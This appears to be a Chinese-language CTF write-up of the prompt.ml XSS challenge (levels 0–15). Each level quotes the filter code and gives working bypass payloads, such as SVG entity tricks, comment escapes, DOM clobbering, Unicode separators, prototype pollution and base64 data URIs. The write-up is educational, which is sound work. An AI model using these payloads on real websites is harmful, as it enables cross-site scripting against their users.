规则

1、成功执行prompt(1).
2、payload不需要用户交互(成功会显示you won)
3、payload必须对下述浏览器有效:
Chrome(最新版) - Firefox(最新版) - IE10 及以上版本(或者IE10兼容模式)
4、每个级别至少给出两种浏览器的答案
5.越短越好

level 0

function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}      

发现只要闭合标签即可

"><script>prompt(1)</script>
"><svg onload=prompt(1)>

随便选了两个payload

level 1

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
}     

意思是如果<有匹配>就会替换为空
payload:<img src=1 onerror=prompt(1)//

<svg/onload=prompt(1)//

发现其实可以用//绕过

level 2

function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
}     

过滤了等于号和左括号
使用SVG标签,会提前将将XML实体解析再加入标签!然后我们只需要构造

<svg><script>prompt&#x28;1)</script>

发现还有别的方法

<script>prompt.call`${1}`</script>

tqlllll

level 3

function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
}        

发现将->替换成_ 然后会return 在注释里 想的应该是闭合注释
2012年后可以用这种方法绕过

--!><svg/onload=prompt(1)

只要用--!>这个闭合 payload随便你挑

level 4

function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}    

不懂 看了眼解
http://user:password@attacker.com。但是http://user:password/@attacker.com是不允许的。由于这里的正则特性和decodeURIComponent函数,所以可以使用%2f绕过,如下:http://prompt.ml%2f@attacker.com。所以域名越短,答案就越好

level 5

function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');

    return '<input value="' + input + '" type="text">';
}   

1.第一点将带有onxxx的加上下划线

2、其次是第二点,就是后面的type不可以覆盖前面的,所以可以把type=image。
payload:

"type=image src onerror
="prompt(1)
 

level 6

function escape(input) {
    // let's do a post redirection
    try {
        // pass in formURL#formDataJSON
        // e.g. http://httpbin.org/post#{"name":"Matt"}
        var segments = input.split('#');
        var formURL = segments[0];
        var formData = JSON.parse(segments[1]);

        var form = document.createElement('form');
        form.action = formURL;
        form.method = 'post';

        for (var i in formData) {
            var input = form.appendChild(document.createElement('input'));
            input.name = i;
            input.setAttribute('value', formData[i]);
        }

        return form.outerHTML + '                         \n\
<script>                                                  \n\
    // forbid javascript: or vbscript: and data: stuff    \n\
    if (!/script:|data:/i.test(document.forms[0].action)) \n\
        document.forms[0].submit();                       \n\
    else                                                  \n\
        document.write("Action forbidden.")               \n\
</script>                                                 \n\
        ';
    } catch (e) {
        return 'Invalid form data.';
    }
} 

  

看了看dalao的解释

分析源码可以看到,大概是由#分割,前面赋给form.action,使method=post,后面以json格式赋给formdata,把formdata中的属性循环赋给了input。后面满足forms.action存在即执行提交,所以这里使用js伪协议。由于允许我们创建我们自己的输入,这些输入可以用来破坏窗体的action属性。由于DOM破坏,document.forms [0] .action将返回我们新创建的输入字段而不是实际的action属性,因此可以执行JavaScript。

payload:

javascript:prompt(1)#{"action":0}

level 7

function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}

他的意思是用#分离 如果超十二个截取前12个字符
可以用js注释
payload:"><script>/*#*/prompt(/*#*/1)/*#*/</script>

"><svg/a=#"onload='/*#*/prompt(1)'

level 8

function escape(input) {
    // prevent input from getting out of comment
    // strip off line-breaks and stuff
    input = input.replace(/[\r\n</"]/g, '');

    return '                                \n\
<script>                                    \n\
    // console.log("' + input + '");        \n\
</script> ';
}    

过滤了/ 换行符和回车
我们要想执行需要逃逸双引号 或者本行
U+2028,是Unicode中的行分隔符。
U+2029,是Unicode中的段落分隔符。
而且–>在js中可以当注释使用
于是构造答案是这样的
<script>
// console.log("
prompt(1)
-->");
</script>

payload:

'\u2028prompt(1)\u2028-->'

level 9

function escape(input) {

// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();

// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';

}
正则的意思是<后面的所有字符前全部加_,也就是将<script>这样的标签替换为<_SCRIPT>
payload:< ſcript/ ſrc="http://localhost/xss.js"></ ſcript>
ſ是某个国家的unicode字符,转换后恰好对应s,因此可以完成绕过。
这里面的js就要我们自己写一个prompt(1)

level 10

function escape(input) {
    // (╯°□°)╯︵ ┻━┻
    input = encodeURIComponent(input).replace(/prompt/g, 'alert');
    // ┬──┬ ノ( ゜-゜ノ) chill out bro
    input = input.replace(/'/g, '');

    // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
    return '<script>' + input + '</script> ';
} 

发现将promt替换成alert 吧'替换为空,这里面主要可以利用的点是替换先后
构造payload:p'rompt(1)
## level 11 ##

function escape(input) {
    // name should not contain special characters
    var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

    // data to be parsed as JSON
    var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

    // directly "parse" data in script context
    return '                                \n\
<script>                                    \n\
    var data = ' + dataString + ';          \n\
    if (data.action === "login")            \n\
        document.write(data.message)        \n\
</script> ';
}     

发现所有的符号都被ban了 除了括号 师傅这里面给了一个黑科技

"(prompt(1))in"
解析:
并且在网上找到一个关键点
123.png
当同名时候会优先执行后面
所以我们就要构造这样的语句"message":prompt(1)
这里面要闭合""所以可以用这个

level 12

function escape(input) {
    // in Soviet Russia...
    input = encodeURIComponent(input).replace(/'/g, '');
    // table flips you!
    input = input.replace(/prompt/g, 'alert');

    // ノ┬─┬ノ ︵ ( \o°o)\
    return '<script>' + input + '</script> ';
}        

这题很容易理解是10题的进阶版
parseInt(string,radix):解析一个字符串并返回一个整数

toString():把一个逻辑值转换为字符串并返回结果
利用这两个函数
先用这个函数加密

parseInt("prompt",36);//630038579
payload:eval((1558153217).toString(36))(1)

level 13

 function escape(input) {
    // extend method from Underscore library
    // _.extend(destination, *sources) 
    function extend(obj) {
        var source, prop;
        for (var i = 1, length = arguments.length; i < length; i++) {
            source = arguments[i];
            for (prop in source) {
                obj[prop] = source[prop];
            }
        }
        return obj;
    }
    // a simple picture plugin
    try {
        // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
        var data = JSON.parse(input);
        var config = extend({
            // default image source
            source: 'http://placehold.it/350x150'
        }, JSON.parse(input));
        // forbit invalid image source
        if (/[^\w:\/.]/.test(config.source)) {
            delete config.source;
        }
        // purify the source by stripping off "
        var source = config.source.replace(/"/g, '');
        // insert the content using mustache-ish template
        return '<img src="{{source}}">'.replace('{{source}}', source);
    } catch (e) {
        return 'Invalid image data.';
    }
}    

看官方payload 姿势不够了QAQ

这个题目涉及到js中的proto,每个对象都会在其内部初始化一个属性,就是proto,当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去proto里面找这个属性,这个proto又会有自己的proto,一直这样找下去。可以再Chrome控制台中测试:

config = {
    "source": "_-_invalid-URL_-_",
    "__proto__": {
        "source": "my_evil_payload"
    }
}

输入

 delete config.source config.source

返回my_evil_payload

还有一个技巧是,replace()这个函数,他还接受一些特殊的匹配模式。
$` 替换查找的字符串,并且在头部加上比配位置前的字符串部分
例如:
'123456'.replace('34','$`xss')

返回:

'1212xss56'

这样一来构造出payload:

{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}

level 14

function escape(input) {
    // I expect this one will have other solutions, so be creative :)
    // mspaint makes all file names in all-caps :(
    // too lazy to convert them back in lower case
    // sample input: prompt.jpg => PROMPT.JPG
    input = input.toUpperCase();
    // only allows images loaded from own host or data URI scheme
    input = input.replace(/\/\/|\w+:/g, 'data:');
    // miscellaneous filtering
    input = input.replace(/[\\&+%\s]|vbs/gi, '_');

    return '<img src="' + input + '">';
} 

1、所有的都是用大写字母。
2、你无法执行任何url,都会被转化为data:
3、包括&都被过滤,所以你不能使用十六进制或者10进制编码。
后来官方题解是说base64编码
payload:"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=
可惜大家都失败了

level 15

function escape(input) {

// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');

return segments.map(function(title, index) {
    // title can only contain 15 characters
    return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');

}
0-15分割 还是可以用注释绕过

"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>